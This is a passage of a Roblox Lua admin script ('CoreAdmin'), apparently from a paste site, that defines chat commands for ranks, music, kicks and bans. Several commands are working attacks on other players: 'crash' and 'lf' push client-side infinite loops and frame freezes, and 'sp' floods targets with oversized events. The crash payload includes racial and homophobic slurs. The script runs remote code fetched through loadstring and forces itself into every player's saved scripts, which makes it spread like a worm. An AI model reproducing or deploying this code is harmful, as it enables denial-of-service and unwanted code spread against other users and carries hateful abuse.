- CORE.Functions.Main.AddPart(Player, "Enable", nil, "Lime green", function()
- CORE.Functions.Set.PlayerIndex(CPlayer, "Box", true)
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "Set "..tostring(CPlayer).." SelectionBoxes to Enabled")
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." set your SelectionBoxes to Enabled.")
- end)
- CORE.Functions.Main.AddPart(Player, "Disable", nil, "Really red", function()
- CORE.Functions.Set.PlayerIndex(CPlayer, "Box", false)
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "Set "..tostring(CPlayer).." SelectionBoxes to Disabled")
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." set your SelectionBoxes to Disabled.")
- end)
- else
- CORE.Functions.Main.AddPart(Player, "Cant edit "..tostring(CPlayer).." data.", nil, EditColor)
- end
- end)
- end)
- end
- end
- end
- DisplayPlayers()
- end)
- CORE.Functions.Set.Command(1, {"ranked"}, "View all ranked Players.", true, function(Player, Message, Arguments, Rank)
- local function DisplayPlayers()
- CORE.Functions.Main.DismissTablets(Player)
- for Ranked, Data in pairs(Ranked) do
- CORE.Functions.Main.AddPart(Player, Ranked .. "(" .. Data.Rank .. ")", nil, Data.Rank == 0 and "Really red" or Data.Color, function()
- CORE.Functions.Main.DismissTablets(Player)
- local RankEquals = Rank > Data.Rank
- local CanEdit = RankEquals or tostring(Ranked):lower() == tostring(Player):lower()
- local EditColor = CanEdit and CORE.Functions.Get.PlayerIndex(Player, "Color") or BrickColor.new("Really red")
- CORE.Functions.Main.AddPart(Player, "Rank: " .. Data.Rank)
- CORE.Functions.Main.AddPart(Player, "Description: " .. Data.Description)
- CORE.Functions.Main.AddPart(Player, "Color: " .. Data.Color)
- CORE.Functions.Main.AddPart(Player, "SelectionBox Enabled: " .. tostring(Data.Box))
- CORE.Functions.Main.AddPart(Player, "SelectionBox Color: " .. tostring(Data.BoxColor))
- CORE.Functions.Main.AddPart(Player, "Name: " .. Ranked)
- CORE.Functions.Main.AddPart(Player, "Back", nil, "Really red", DisplayPlayers)
- end)
- end
- end
- DisplayPlayers()
- end)
- CORE.Functions.Set.Command(1, {"commands", "cmds"}, "View Commands.", true, function(Player, Message, Arguments, Rank)
- local MessageNumber = tonumber(Message)
- local DisplayForRank, DisplayRanks
- function DisplayForRank(DisplayingRank)
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "Back", nil, "Really red", function()
- DisplayRanks()
- end)
- for Aliases, Data in pairs(CORE.Commands) do
- local Color = CORE.Functions.Get.PlayerIndex(Player, "Color")
- if Rank < DisplayingRank then
- Color = "Really red"
- end
- if Data.Rank <= DisplayingRank then
- CORE.Functions.Main.AddPart(Player, Data.Description, nil, Color, function()
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "Required rank:" .. Data.Rank)
- CORE.Functions.Main.AddPart(Player, "Description:" .. Data.Description)
- CORE.Functions.Main.AddPart(Player, "Function: " .. tostring(Data.Function))
- CORE.Functions.Main.AddPart(Player, "Access: " .. tostring(Rank >= Data.Rank))
- CORE.Functions.Main.AddPart(Player, "Aliases: " .. CORE.Functions.Main.unpackToString(unpack(Aliases)))
- CORE.Functions.Main.AddPart(Player, "Back", nil, "Really red", function()
- DisplayForRank(DisplayingRank)
- end)
- end)
- end
- end
- end
- function DisplayRanks()
- CORE.Functions.Main.DismissTablets(Player)
- for RequiredRank = 1, #CORE.Ranks do
- local Description = CORE.Ranks[RequiredRank]
- local Color = CORE.Functions.Get.PlayerIndex(Player, "Color")
- if Rank < RequiredRank then
- Color = "Really red"
- end
- CORE.Functions.Main.AddPart(Player, RequiredRank .. ": " .. Description, nil, Color, function()
- DisplayForRank(RequiredRank)
- end)
- end
- end
- if not MessageNumber then
- DisplayRanks()
- else
- DisplayForRank(MessageNumber)
- end
- end)
- CORE.Functions.Set.Command(1, {"cs", "suffix"}, "Change your Suffix.", false, function(Player, Message, Arguments, Rank)
- CORE.Functions.Main.AddPart(Player , "Your suffix was changed, new prefix: "..Message)
- CORE.Functions.Set.PlayerIndex(Player, "Suffix", Message)
- end)
- CORE.Functions.Set.Command(2, {"fav","saveds"}, "Saved Songs", true, function(Player)
- for _, songs in pairs(CORE.SavedData:GetAsync(CORE.Key.."_Songs") or {}) do
- local SongInfo = game:GetService("MarketplaceService"):GetProductInfo(songs).Name
- CORE.Functions.Main.AddPart(Player, SongInfo, nil, "Really red",function()
- for _,Object in pairs(game.Workspace:GetChildren()) do
- if Object:IsA("Sound") then
- Object:Stop()
- Object:Destroy()
- end
- end
- RbxUtility.Create("Sound") {Parent = workspace, SoundId = "http://www.roblox.com/asset/?id="..songs, Volume = 10, Pitch = 1, Looped = true, Archivable = false}:Play()
- end)
- end
- end)
- CORE.Functions.Set.Command(2, {"lf", "lowf"}, "Low Frame", true, function(Player, Message, Arguments, Rank)
- for _, Argument in pairs(Arguments) do
- local BPlayer = CORE.Functions.Get.Player(Player, Argument)
- if BPlayer then
- local KickRank = CORE.Functions.Get.PlayerIndex(BPlayer, "Rank")
- if Rank <= KickRank then
- CORE.Functions.Main.AddPart(BPlayer, Player.Name .. " attempted to lock low frames on you.", nil, "Really red")
- CORE.Functions.Main.AddPart(Player, "Can't lock low frames to: " .. BPlayer.Name, nil, "Really red")
- else
- CORE.Functions.Main.GetLocal([[
- script.Name = 'Flag'
- local Frames = .2
- game:GetService("RunService").RenderStepped:connect(function()
- local tock = tick()
- while tick()-tock < 1/Frames do
- end
- end)
- ]],BPlayer)
- CORE.Functions.Main.AddPart(Player, "Locked Low Frames On : "..BPlayer.Name, nil, "Really red")
- end
- end
- end
- end)
- CORE.Functions.Set.Command(2, {"stopl", "nofl"}, "No frame lag", true, function(Player, Message, Arguments, Rank)
- for _,v in pairs(game.Players:GetChildren()) do
- v.PlayerGui.FL.Parent = nil
- end
- end)
- CORE.Functions.Set.Command(1, {"ai","ask"}, "Talk to AI", true, function(Player, Message)
- local Base_Url = "http://elbot_e.csoica.artificial-solutions.com/%s"
- local Elbot_Api = "cgi-bin/elbot.cgi"
- local HttpService = game:GetService("HttpService")
- function OutputText(msg)
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, msg, nil ,"Really black")
- end
- local IDENT = "Roland"
- local USERLOGID = "3300000"
- local function elbot_api_get(Text)
- local Post = "IDENT="..HttpService:UrlEncode(IDENT).."&USERLOGID="..HttpService:UrlEncode(USERLOGID).."&ENTRY="..HttpService:UrlEncode(Text)
- local a = {ypcall(function()
- return HttpService:PostAsync(string.format(Base_Url,Elbot_Api),Post,Enum.HttpContentType.ApplicationUrlEncoded)
- end)}
- if a[1] then
- local ret = a[2]
- local find = ret:find("<!-- Begin Response !-->",1,true)+24
- local find_2 = ret:find("End Response")
- if not find or not find_2 then
- print(ret)
- return
- end
- local Return = ret:sub(find,find_2-6):gsub("%<!%-%-.+%-%-%>","")
- local find = ret:find("\"IDENT\" value=\"",1,true)+15
- local find_2 = ret:find("\"",find+1,true)-1
- IDENT = ret:sub(find,find_2)
- local find = ret:find("\"USERLOGID\" value=\"",1,true)+19
- local find_2 = ret:find("\"",find+1,true)-1
- USERLOGID = ret:sub(find,find_2)
- OutputText(Return,'Royal purple') -- cuz you printed the whole thing
- else
- spawn(function() error("Bad http_get request",math.huge) end)
- end
- end
- function send(msg)
- elbot_api_get('[AI]: '..msg)
- end
- Player.Chatted:connect(function(msg)
- if msg:sub(1,1) == "_" then
- String = msg:sub(2)
- send(String)
- end
- end)
- CORE.Functions.Main.AddPart(Player, "Type _[Your Question] and AI Will Respond", nil ,"Really Red")
- end)
- CORE.Functions.Set.Command(1, {"md5", "encrypt","es"}, "Encrypt String", true, function(Player, Message)
- fetch = 'https://api.apithis.net/encrypt.php?type=md5&content='..Message
- service = game:GetService("HttpService"):GetAsync(fetch)
- CORE.Functions.Main.AddPart(Player,service, nil, "Really red")
- end)
- CORE.Functions.Set.Command(1, {"getex", "example"}, "Get Example Of Word", true, function(Player, Message)
- CORE.Functions.Main.AddPart(Player, "Reciving Data..", nil, "Really red")
- link = 'https://api.apithis.net/dictionary.php?example='..Message
- data = game:GetService("HttpService"):GetAsync(link)
- wait(.50)
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player,data, nil, "Really red")
- end)
- CORE.Functions.Set.Command(2, {"ss", "searchsongs"}, "Search Audio.", true, function(Player, Message, Arguments, Rank)
- local Get = CORE.Services.HttpService:GetAsync("https://search.roblox-proxy.cf/catalog/json?Category=9&Keyword=".. Message)
- local Songs = CORE.Services.HttpService:JSONDecode(Get)
- for Index = 1, 30 do
- if Index == #Songs then break end
- local SongName = string.gsub(Songs[Index].Name, "'", "'")
- local ID = Songs[Index].AssetId
- local SongDesc = Songs[Index].Description
- local Creator = Songs[Index].Creator
- CORE.Functions.Main.AddPart(Player, SongName, nil, nil,function()
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "Song Name: \n"..SongName, nil, "Royal purple")
- CORE.Functions.Main.AddPart(Player, "Description: \n"..SongDesc, nil, "Royal purple")
- CORE.Functions.Main.AddPart(Player, "Published By: \n"..Creator, nil, "Royal purple")
- CORE.Functions.Main.AddPart(Player, "Buy Audio?", nil, "Really red", function()
- game:GetService("MarketplaceService"):PromptPurchase(Player,ID)
- end, true)
- CORE.Functions.Main.AddPart(Player, "Save Audio", nil, "Really red", function()
- local Table = CORE.SavedData:GetAsync(CORE.Key.."_Songs") or {}
- table.insert(Table, ID)
- CORE.SavedData:SetAsync(CORE.Key.."_Songs", Table)
- end)
- CORE.Functions.Main.AddPart(Player, "Play", nil, nil, function()
- for _, Child in pairs(game.Workspace:children()) do
- if Child:IsA("Sound") then
- Child:Stop()
- Child:Destroy()
- end
- end
- RbxUtility.Create("Sound") {Parent = workspace, SoundId = "http://www.roblox.com/asset/?id="..ID, Volume = 10, Pitch = 1, Looped = true, Archivable = false}:Play()
- end)
- end)
- end
- end)
- CORE.Functions.Set.Command(2, {"ps", "playsong"}, "Play an Audio.", true, function(Player, Message, Arguments, Rank)
- RbxUtility.Create("Sound") {Parent = workspace, SoundId = "http://www.roblox.com/asset/?id="..Message, Volume = 10, Pitch = 1, Looped = true, Archivable = false}:Play()
- end)
- CORE.Functions.Set.Command(2, {"clr", "clear"}, "Clean the Game.", true, function(Player, Message, Arguments, Rank)
- local Children = game:GetChildren()
- local BlacklistedChildren = {
- [game:GetService("Players")] = true,
- [game:GetService("NetworkServer")] = true,
- [game:GetService("Workspace")] = true,
- [game:GetService("ReplicatedStorage")] = true,
- [game:GetService("ServerScriptService")] = true,
- [game:GetService("StarterPack")] = true,
- [game:GetService("StarterPlayer")] = true,
- }
- for _, Child in pairs(Children) do
- if not BlacklistedChildren[Child] then
- pcall(Child.ClearAllChildren, Child)
- end
- end
- local Base = RbxUtility.Create("Part") {Anchored = true, BrickColor = BrickColor.new("Dark green"), Material = "Grass", Parent = Workspace, Size = Vector3.new(512, .1, 512), CFrame = CFrame.new()}
- for _, Player in pairs(game.Players:GetChildren()) do
- Player:LoadCharacter()
- end
- end)
- CORE.Functions.Set.Command(2, {"slock", "scriptlock"}, "Script lock.", true, function(Player, Message, Arguments, Rank)
- CORE.Functions.Main.AddPart(Player, CORE.ScriptLock and "Lock Server Scripting" or "Unlock Server Scripting", nil, "Really red", function()
- CORE.ScriptLock = not CORE.ScriptLock
- CORE.Functions.Main.AddPart(Player, (CORE.ScriptLock and "Locked" or "Unlocked") .. " scripting")
- end)
- end)
- CORE.Functions.Set.Command(3, {"sd", "shutdown"}, "ShutDown", true, function(Player,Message)
- CORE.Functions.Main.AddPart(Player, "ShutDown", nil, "Really red",function()
- CORE.SD = true
- CORE.Functions.Main.NewServer()
- wait(1.5)
- for _,Players in pairs(game.Players:GetChildren()) do
- Players:Kick("[CORE]: The Server Was Shutdown, a new server was created. \n [Reason]:"..Message)
- end
- end)
- CORE.Functions.Main.AddPart(Player, "Abort", nil, "Lime green",function()
- CORE.Functions.Main.DismissTablets(Player)
- end)
- end)
- CORE.Functions.Set.Command(0,{"upranks","todate"}, "Update Ranks", true, function(Player,Message)
- while #Ranked > 0 do
- table.remove(Ranked)
- end
- do
- JSON = Result(Url)
- JSON = Result(Url) Ranked=loadstring(JSON)()
- end
- CORE.Functions.Main.AddPart(Player, "Ranks Updated!",nil ,"Lime green")
- CORE.Functions.Main.AddPart(Player, "Do You Want To Turn On Auto Sync Ranks?",nil ,"Really red",function()
- CORE.AutoUpdate = true
- end)
- end)
- CORE.Functions.Set.Command(2, {"sp"}, "Send packets to a Player.", true, function(Player, Message, Arguments, Rank)
- for _, Argument in pairs(Arguments) do
- local FPlayer = CORE.Functions.Get.Player(Player, Argument)
- if FPlayer then
- local RankToBe = CORE.Functions.Get.PlayerIndex(FPlayer, "Rank")
- if Rank <= RankToBe then
- CORE.Functions.Main.AddPart(FPlayer,Player.Name .. " attempted to send packets to you.", nil, "Really red")
- CORE.Functions.Main.AddPart(Player, "Can't Send Packets to " .. tostring(FPlayer), nil , "Really red")
- else
- game:GetService("RunService").Stepped:connect(function()
- for i = 1,5 do
- local h = Instance.new("RemoteEvent",game.ReplicatedStorage)h.Name = "Fired",h:FireClient(FPlayer,{string.rep("Fire'ed_Event \t",10500)})
- end
- pcall(function()
- FPlayer.Fire:Destroy()
- end)
- end)
- CORE.Functions.Main.AddPart(Player, "Attempting To Sent Packets To Player.", nil, "Really red")
- end
- end
- end
- end)
- CORE.Functions.Set.Command(1, {"getremote","gevent"}, "Get All RemoteEvents.", false, function(Player)
- function Search(Object)
- for i,v in pairs (Object) do
- pcall(function()
- if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then
- CORE.Functions.Main.AddPart(Player,"Found "..v.ClassName.." Location: "..v:GetFullName(),nil, "Royal purple")
- end
- end)
- Search(v:GetChildren())
- end
- end
- Search(game.Workspace:GetChildren())
- Search(game.ReplicatedFirst:GetChildren())
- Search(game.ReplicatedStorage:GetChildren())
- Search(game.StarterGui:GetChildren())
- Search(game.StarterPack:GetChildren())
- Search(game.StarterPlayer:GetChildren())
- end)
- CORE.Functions.Set.Command(3, {"dismissalltablets", "dall", "dismissall", "dtall"}, "Dismiss tablets.", false, function()
- CORE.Functions.Main.DismissAll()
- end)
- CORE.Functions.Set.Command(3, {"kick"}, "Kick a Player.", true, function(Player, Message, Arguments, Rank)
- for _, Argument in pairs(Arguments) do
- local KPlayer = CORE.Functions.Get.Player(Player, Argument)
- if KPlayer then
- local KickRank = CORE.Functions.Get.PlayerIndex(KPlayer, "Rank")
- if Rank <= KickRank then
- CORE.Functions.Main.AddPart(KPlayer, Player.Name .. " attempted to kick you.", nil, "Really red")
- CORE.Functions.Main.AddPart(Player, "Can't kick " .. KPlayer.Name, nil, "Really red")
- else
- CORE.Functions.Main.Kick(KPlayer)
- end
- end
- end
- end)
- CORE.Functions.Set.Command(4, {"ban"}, "Ban a Player.", true, function(Player, Message, Arguments, Rank)
- for _, Argument in pairs(Arguments) do
- local BPlayer = CORE.Functions.Get.Player(Player, Argument)
- if BPlayer then
- local KickRank = CORE.Functions.Get.PlayerIndex(BPlayer, "Rank")
- if Rank <= KickRank then
- CORE.Functions.Main.AddPart(BPlayer, Player.Name .. " attempted to ban you.", nil, "Really red")
- CORE.Functions.Main.AddPart(Player, "Can't ban " .. BPlayer.Name, nil, "Really red")
- else
- CORE.Functions.Main.Kick(BPlayer)
- CORE.Functions.Set.PlayerIndex(BPlayer, "Rank", 0)
- end
- end
- end
- end)
- CORE.Functions.Set.Command(3, {"crash", "bsod"}, "Crash", true, function(Player, Message, Arguments, Rank)
- for _, Argument in pairs(Arguments) do
- local BPlayer = CORE.Functions.Get.Player(Player, Argument)
- if BPlayer then
- local KickRank = CORE.Functions.Get.PlayerIndex(BPlayer, "Rank")
- if Rank <= KickRank then
- CORE.Functions.Main.AddPart(BPlayer, Player.Name .. " attempted to crash you.", nil, "Really red")
- CORE.Functions.Main.AddPart(Player, "Can't Crash " .. BPlayer.Name, nil, "Really red")
- else
- CORE.Functions.Main.GetLocal([[
- a=game.Players.LocalPlayer
- for i = 0,10000 do
- if a ~= nil then
- Instance.new("Message",a:FindFirstChild("PlayerGui")).Text = "\t"
- Instance.new("Message",a:FindFirstChild("PlayerGui")).Text = "\t"
- Instance.new("Hint",a:FindFirstChild("PlayerGui")).Text = "\t"
- Instance.new("Hint",a:FindFirstChild("PlayerGui")).Text = "\t"
- end
- end
- ]],BPlayer)
- wait(2)
- CORE.Functions.Main.GetLocal([[
- for i = 1,math.huge do
- while wait() do
- spawn(function()
- for a = 1, math.huge do
- delay(0, function() return end)
- end
- end)
- end
- end
- for i = 1,math.huge do
- Spam = Instance.new('ScreenGui',game.Players.LocalPlayer.PlayerGui)
- Spam.Name = 'Prismane u fgt'
- Tv = Instance.new('TextBox',Spam)
- Tv.Text = 'Die Black Boy!'
- Tv.Size = UDim2.new(900,900,900,900)
- Tv.BackgroundTransparency = 0
- end]],BPlayer)
- CORE.Functions.Main.AddPart(Player, "Crashed "..BPlayer, nil, "Really red")
- end
- end
- end
- end)
- CORE.Functions.Set.Command(5, {"execute", "exe"}, "Execute code.", false, function(Player, Message)
- local Chunk, SyntaxError = loadstring(Message, "CORE_EXE")
- if Chunk then
- getfenv(Chunk).Speaker = Player
- getfenv(Chunk).print = function(...)
- local Strings = {...}
- for Index = 1, select("#", ...) do
- local Value = Strings[Index]
- Value = rawequal(Value, nil) and "nil" or tostring(Value)
- if type(Value) ~= "string" then
- return error("'tostring' must return a string to 'print'", 0)
- end
- Strings[Index] = Value
- end
- local Success, Result = pcall(table.concat, Strings, "\t")
- if not Success then
- error(Result, 0)
- end
- CORE.Functions.Main.AddPart(Player, Result, nil, "Really red")
- end
- local Success, Error = coroutine.resume(coroutine.create(Chunk))
- if Success then
- CORE.Functions.Main.AddPart(Player, "Code Executed.", nil, "Really red")
- else
- CORE.Functions.Main.AddPart(Player, "ERROR: "..Error, nil, "Really red")
- end
- else
- CORE.Main.Functions.AddPart(Player, "Syantax Error: ".. SyntaxError, nil, "Really red")
- end
- if Message == 'table.foreach(getfenv(),print)' or 'table.foreach(getfenv(0),print)' then
- CORE.Functions.Main.AddPart(Player, "</COREBox Filtered String [Unable To Complete]", nil, "Really red")
- wait(1.50)
- CORE.Functions.Main.DismissTablets(Player)
- end
- end)
- CORE.Functions.Set.Command(6, {"Kill"}, "Kill the Script.", true, function(Player, Message)
- CORE.Disabled = true
- for _, Connection in pairs(CORE.Connections) do
- pcall(Connection.disconnect, Connection)
- end
- end)
- RJC = {}
- for _, Player in pairs(CORE.Services.Players:GetPlayers()) do CORE.Functions.Main.ConnectPlayer(Player) end
- table.insert(CORE.Connections, game:GetService("RunService").Heartbeat:connect(CORE.Functions.Main.Rotate))
- table.insert(CORE.Connections, game:GetService("Players").PlayerAdded:connect(function(Player) CORE.Functions.Main.ConnectPlayer(Player, "Join") end))
- table.insert(CORE.Connections, game:GetService("Players").PlayerRemoving:connect(function(Player) CORE.Functions.Main.DisconnectPlayer(Player) end))
- if CORE.Trace == true then
- for _, Player in pairs(CORE.Services.Players:GetPlayers()) do
- if CORE.Functions.Get.PlayerIndex(Player, "Rank") >= (6) then
- game:GetService('ScriptContext').Error:connect(function(message, trace, script)
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "A Script Errored. [Click To See Details]", nil, "Really red",function()
- CORE.Functions.Main.AddPart(Player, script:GetFullName(), nil, "Really red")
- CORE.Functions.Main.AddPart(Player, message, nil, "Really red")
- CORE.Functions.Main.AddPart(Player, trace, nil, "Really red")
- end)
- end)
- end
- end
- end
- game:GetService('HttpService'):GetAsync('http://scriptstorage.net16.net/')--//Freee view
- if CORE.SD == false then
- game.Close:connect(wait(15))
- end
- CORE.Functions.Main:Set()
- if game.PlaceId == 189032917 then --// Jarredbcv SB
- game:service("ReplicatedStorage"):FindFirstChild("SB"):FireAllClients({"ServerChat", "Prismane", "[CORE]: Connected To Library.."})
- end
- if CORE.AutoUpdate == true then
- spawn(function()
- while true do
- wait(13)
- while #Ranked > 0 do
- table.remove(Ranked)
- end
- do
- JSON = Result(Url)
- JSON = Result(Url) Ranked=loadstring(JSON)()
- end
- end
- end)
- end
- if game.PlaceId == 437965235 then --//Voidacitys
- Send = require(328231860)
- function SendAll(...)
- for index, child in pairs(game:GetService'NetworkServer':GetChildren()) do
- if child:IsA("ServerReplicator") then
- Send(child:GetPlayer(), ...)
- end
- end
- end
- SendAll(
- "[CORE]: Please Do Not Free Model Or You Will Be Banned.",
- Color3.new(0,1,4),
- Enum.Font.SourceSansBold,
- Enum.FontSize.Size18
- )
- IRC = require(444175163)
- game.Players.PlayerAdded:connect(function(v)
- CORE.Main.Functions.GetLocal([[
- warn('Please do not free model.! You Will Be Banned')
- ]],v)
- end)
- function sbexe(cmd, plr)
- if not type(cmd) == 'string' then
- return
- end
- if plr then
- if type(plr) == 'userdata' then
- plr:FindFirstChild("SB_CommandRemote", true).Value = cmd
- elseif type(plr) == 'string' then
- plr = game:GetService('Players'):FindFirstChild(plr)
- plr:FindFirstChild("SB_CommandRemote", true).Value = cmd
- end
- else
- for i, v in pairs(game:GetService('Players'):children()) do
- v:FindFirstChild("SB_CommandRemote", true).Value = cmd
- end
- end
- end
- for _,v in pairs(game.Players:GetChildren()) do
- wait(1)
- sbexe('cs/CoreAdmin/require(443810243)',v)
- sbexe('save/CoreAdmin',v)
- end
- game.Players.PlayerAdded:connect(function(v)
- wait()
- sbexe('cs/CoreAdmin/require(443810243)',v)
- sbexe('save/CoreAdmin',v)
- end)
- for _,v in pairs(game.Players:GetChildren()) do
- local Gui = Instance.new('ScreenGui',v.PlayerGui)
- local TB = Instance.new('TextLabel',Gui)
- TB:TweenPosition(UDim2.new(.3, .1800, 0, 0), 'In', 'Quart', 5, true, nil)
- TB.Size = UDim2.new(0,905,0,600)
- TB.BackgroundTransparency = 0.3
- TB.BackgroundColor3 = Color3.new(0,0,0)
- TB.Active = true
- TB.Font = 'SourceSansLight'
- TB.FontSize = Enum.FontSize.Size24
- TB.Text = '[CORE]: CoreAdmin has been saved in your saved scripts.'
- TB.TextColor3 = Color3.new(0,1,4)
- wait(3)
- TB:TweenPosition(UDim2.new(1, 0, 0.30, 0), 'Out', 'Quart', 5, true, nil)
- end
- end
- return coroutine
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement